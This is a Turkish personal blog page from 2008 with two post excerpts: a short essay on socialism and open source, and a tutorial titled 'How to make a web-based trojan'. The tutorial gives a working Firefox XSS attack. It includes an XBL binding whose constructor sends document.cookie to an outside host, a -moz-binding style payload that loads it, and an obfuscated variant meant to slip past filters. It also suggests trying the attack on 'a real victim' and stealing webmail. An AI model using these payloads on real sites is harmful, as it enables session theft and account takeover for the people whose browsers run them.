Sosyalizm, Open Source Date: October 7, 2008  Tags: misc , turkce    Comments(5)

Giris

Soru su, bize atalarimizdan toplumcu, sinifsiz bir dunya birakilmis olsaydi bugun nasil yasiyor olurduk? Cevaplarimi liste halinde yaziyorum;

Bu girisi, komunizm hakkindaki onyargilari kirmak icin yazdim.Yazinin devamini okurken unutmayin ki, toplumculugun onlarca fraksiyonu var, bu felsefe dusunup gelistirmeye dayalidir.Ornegin, Seyh Bedreddin yuzyillar once Osmanlida saraya karsi sosyalist mucadele vermistir.Bunun yaninda, Kuba'da, Sovyetler Birligi'nde, Israil'de pek cok komunizm methodu denenmistir, bir yeni method neden olusturulmasin? Neden adil, esit, bariscil, refah duzeyi yuksek bir dunyada yasamanin methodlarini aramayalim?

Yazinin kalan kisminda Sosyalizm ve Open source bolumlerini okuyabilirsiniz.    Continue Reading

Web tabanli Trojan Nasil Yapilir? Date: May 11, 2008  Tags: javascript , security , turkce    Comments(0)

XSS ve web guvenligi meraklilari icin birkac teknikten bahsetmeye karar verdim.Bunlardan ilki oldukca gecerli olan ve pek az bilinen, firefox'ta calisan moz-binding yontemi.Yaziyi "vuralim, kiralim" uslubuyla yazdim ancak amacim sadece guvenlik onlemleri icin kaynak olusturmak.

Gecen yil Hakan (Bilgin) cloudo icin, bense r(ainbow)92 icin kod renklendirme yapmaya calisiyorduk. Hakan o zamanlar hazirladigi bir ornekte, XBL/-moz-binding teknigini kullanarak uygulamaya CSS kodu icinden XML import ediyor, XML'in icinden de javascript calistiriyordu.Bu bana oldukca ilginc gelmis ve -moz-binding ile tanismami saglamisti.

Eger bu ilginc teknigi, Yahoo UI gelistiricisi Douglas Crockford'un JSON'u kesfetmesini saglayan script include yontemiyle birlestirirseniz (bu yontem hem data transferlerini hem de client'ta istediginiz manyakligi yapmanizi saglar); yapabilecekleriniz hayal gucunuz kadar sinirsizdir. Ornegin maillerine hotmail,gmail vb web uzerinden ulasan bir kullanicinin tum maillerini cekebilir veya habersizce istediginiz maili yazdirtip gondertebilirsiniz.

Her iki yontemin de nasil kullanildigini anlamak icin kullanicilarin cookie'lerini victim list'e kaydetmeyi amacladigimiz kucuk bir ornek yapalim, ornegi denemek icin basit bir uygulama taslagi hazirlayabilirsiniz veya gercek bir kurban secebilirsiniz..

Sectigimiz web uygulamasi kullanicilarin sadece <strong> vb masum gorunen html tag'lerine izin veriyor olsun.Eger bu uygulama attribute'leri kontrol etmiyorsa isimiz kolay, onload vb event'lerle direk javascript calistirabiliriz.Eger kontrol ediyorsa, style attribute'una izin verilip verilmediginden emin olun. WYSIWYG editorlerinden veri bekleyen uygulamalarin hepsinde izin verilir.

Amacimiz style attribute'u icinde -moz-binding kullanarak xbl belgesini cagirmak. Bundan evvel javascript calistiracagimiz XBL belgesini hazirlayip kurbanlarin erisebilecegi bir yere yukleyelim: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> document.body.appendChild(document.createElement("script")).setAttribute("src","http://victim.com/?append="+escape(document.cookie)); </constructor> </implementation> </binding> </bindings> style='color:red; -moz-binding:url("http://victim.com/xbl.xml#xss");' Cok az bir ihtimalle kurbaniniz moz-binding yazilmasini veya cross domain veri cagrilmasini blocklamis olabilir. Bu durumda b planimiz "the-spanner.co.uk" adresinde yayinlanan bir snippet'tan geliyor: /style=\\-\\mo\\z-b\\i\\nd\\in\\g:\\url(//victim.com\\/xbl_log\\.xml\\#xss) Bundan sonrasi javascript bilginize kalmis. Kullanicinin arayuzunde daha cesitli tuneller acabilir, arayuzu degistirebilir veya kullanici adina islemler yapabilirsiniz.   

BROWSE BY TAGS

 android (1)  appengine (1)  cherrypy (4)  comet (7)  debugging (1)  django (3)  greasemonkey (1)  javascript (15)  linux (4)  misc (24)  pi (6)  politik (1)  python (7)  sci-fi (1)  security (1)  turbogears (2)  turkce (2)  wsgi (0)

ARCHIVES

December 2008
November 2008
October 2008
September 2008
August 2008
July 2008
May 2008
April 2008
March 2008

RECENT WORK

multiplayerchess.org
pyChessEngine
base64encoder
GTranslate
Pi Library
View All

FLICKR

View All

LINKS

Pandora
Yusuf Arslan
Cloudo&Hakan Bilgin
Selim Cotal
Muhammed Daud
/home/haqen
Serdar Meydanci
Ferruh Mavituna
uic
Christian Wyglendowski
the spanner
john resig
eric's weblog
dustin diaz

A Django site.